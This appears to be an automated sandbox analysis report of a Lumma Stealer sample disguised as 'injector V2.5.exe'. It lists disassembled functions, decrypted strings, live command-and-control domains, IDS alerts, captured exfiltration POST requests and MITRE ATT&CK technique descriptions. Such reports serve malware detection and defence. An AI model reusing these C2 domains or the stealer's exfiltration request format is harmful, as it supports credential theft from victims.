Instruction ID: 011f415e91e5e5b69ac81c9ec62745c7eed27363568d33de7b20805fe90502ee
Opcode Fuzzy Hash: c3883cfc76eef90477dc86f80c3d5233577d1adf882329254f29412588d35ced
Instruction Fuzzy Hash: 3E511372A022029FDB2A8F14E891B7AB7E4FF16312F1444EDED05972A1E731ED49D790

Function 00B4F50E Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

GetLastError.KERNEL32 ref: 00B4F572
__dosmaperr.LIBCMT ref: 00B4F579
GetLastError.KERNEL32(?,?,?,?), ref: 00B4F5B3
__dosmaperr.LIBCMT ref: 00B4F5BA

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 0ce96eb5ecaf084e1ed619947cbce0cc5f82e3837bb8527f9f94e519a23b3e7f
Instruction ID: 76521a857f5b0832f7d109ff8ab0f8d3037f6269f7ac3451eb492d8c058b6502
Opcode Fuzzy Hash: 0ce96eb5ecaf084e1ed619947cbce0cc5f82e3837bb8527f9f94e519a23b3e7f
Instruction Fuzzy Hash: 2321A771600617AFDB10AF658C8197BB7E9FF2436471085B9F86997250DB30EF40ABA1

Function 00B4FAB4 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b523ce69885e20e55402e50f1e1b981a05652e91e36661555709c9526c99c54
Instruction ID: be1db36567d3007cda6b4feda3c6a409c000ac073bafaa49c81cf6002918b56e
Opcode Fuzzy Hash: 9b523ce69885e20e55402e50f1e1b981a05652e91e36661555709c9526c99c54
Instruction Fuzzy Hash: D5216A71600217AF9F20AFB5CCA1D7BB7E9EF0136471185B5F86997251DB30EE00ABA1

Function 00B5020A Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B50212

Part of subcall function 00B5010E: WideCharToMultiByte.KERNEL32(?,00000000,00B33046,00000000,00000000,00000000,000000FF,?,?,00000000,00B33046,?,00B4C071,?,00000000,?), ref: 00B5016F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B5024A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B5026A

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 507738891ba6b25e576b98afd431d28e03af80b38d1db0edf54f0c0c9ee410a6
Instruction ID: 12d92b183119b71e6ad47d4cc7f8598abb6e544062f5b1b315ee1bfb4c76b93a
Opcode Fuzzy Hash: 507738891ba6b25e576b98afd431d28e03af80b38d1db0edf54f0c0c9ee410a6
Instruction Fuzzy Hash: 0011E1A2511A167E671137729CCEE6F6EEDDE86396B1004E4FC02A2102EEB1CE059575

Function 00B54400 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000), ref: 00B54417
GetLastError.KERNEL32(?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?,?,?,00B512B7,00000000), ref: 00B54423

Part of subcall function 00B54480: CloseHandle.KERNEL32(FFFFFFFE,00B54433,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?,?), ref: 00B54490

___initconout.LIBCMT ref: 00B54433

Part of subcall function 00B54455: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B543F1,00B53BCF,?,?,00B51971,?,00000000,00000000,?), ref: 00B54468

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00B53BE2,00000000,00000001,00000000,?,?,00B51971,?,00000000,00000000,?), ref: 00B54448

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 150d94e58e15aefaa22339708b0f3c6eb93d6b01ef7d051fb84f918a2386fa85
Instruction ID: 43e1885cc9900822d50aae56e1f10bc73f010811f840e38796b0312f8d1d34ac
Opcode Fuzzy Hash: 150d94e58e15aefaa22339708b0f3c6eb93d6b01ef7d051fb84f918a2386fa85
Instruction Fuzzy Hash: 6AF09836540215BFCF221FD5AC09B993F6AEB087A6F054190FE1896230DF7288A0EB90

Function 00B5225C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B52265

Strings

csm, xrefs: 00B52287
csm, xrefs: 00B522F8

Memory Dump Source

Source File: 00000002.00000002.1928296748.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000002.00000002.1927416839.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929283933.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929311997.0000000000B5D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929340707.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1929369279.0000000000B63000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b20000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: d5c06981bfc36291de2505b97a9cda873a24bd7453249828bd61b9ba05bc7eb6
Instruction ID: 40a31173d2aec64bc69540581e6911f60949990bdecf3b5e977b2c018a296dfd
Opcode Fuzzy Hash: d5c06981bfc36291de2505b97a9cda873a24bd7453249828bd61b9ba05bc7eb6
Instruction Fuzzy Hash: 2231CF36502205DFCF228F50CC40B6E7BA5FF0A316F1841DAFC584A121C336C9AADB85

Source: https://librari-night.sbs/apir	Avira URL Cloud: Label: malware
Source: https://librari-night.sbs/t?	Avira URL Cloud: Label: malware
Source: https://librari-night.sbs/api~	Avira URL Cloud: Label: malware
Source: https://librari-night.sbs/OT	Avira URL Cloud: Label: malware
Source: https://librari-night.sbs/r	Avira URL Cloud: Label: malware
Source: https://revirepart.biz/api	Avira URL Cloud: Label: malware

Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: peepburry828.sbs
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: p10tgrace.sbs
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: processhol.sbs
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: revirepart.biz
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1926787176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: Network traffic	Suricata IDS: 2057658 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs) : 192.168.2.4:61931 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49734 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057646 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz) : 192.168.2.4:65437 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49735 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.4:58217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49737 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057647 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI) : 192.168.2.4:49733 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49738 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.4:58217 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49740 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49744 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49746 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2057659 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI) : 192.168.2.4:49736 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49733 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49734 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49735 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49735 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49740 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49746 -> 172.67.206.172:443

Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: revirepart.biz
Source: Malware configuration extractor	URLs: peepburry828.sbs

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 172.67.206.172:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.206.172:443

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 877F203Ah	2_2_00442140
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then jmp eax	2_2_0040C916
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx ebx, byte ptr [edi]	2_2_0040DD2B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004251E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004251E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_00409D80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3174E150h	2_2_00440E40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000001A4h]	2_2_0040A210
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx ebx, ax	2_2_00439B70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [edi], cl	2_2_0040CF82
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 4C697C35h	2_2_00441460
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F6E92F34h	2_2_00440C90
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov eax, dword ptr [esi+4Ch]	2_2_0040D4B9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+09h]	2_2_00409940
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edi+08h]	2_2_00409940
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [edx], bl	2_2_00409940
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp byte ptr [edx+ecx+01h], 00000000h	2_2_0042BD40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then jmp eax	2_2_0040CD42
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ebx, edi	2_2_0043A5D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then jmp eax	2_2_0040C991
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edi, ecx	2_2_0040E59B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 9C142CDAh	2_2_004411B0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then jmp eax	2_2_0040CA52
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then inc eax	2_2_004202F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 484CE391h	2_2_00441A90
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov esi, eax	2_2_00440300
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00401F10
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then lea eax, dword ptr [ebp+04h]	2_2_0043A720
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then jmp ecx	2_2_0043FF20
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov esi, eax	2_2_0043FF20

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: revirepart.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RVW4WPQQS5P19VGZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LQFB2BLOIFOQ0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8761Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NPY4APXRH68ZC8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20420Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GNHDNTX4N2FH4O1BSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1258Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6J2TM4YGL5Q2TFMP95User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1136Host: librari-night.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: librari-night.sbs

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: revirepart.biz
Source: global traffic	DNS traffic detected: DNS query: processhol.sbs
Source: global traffic	DNS traffic detected: DNS query: librari-night.sbs

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

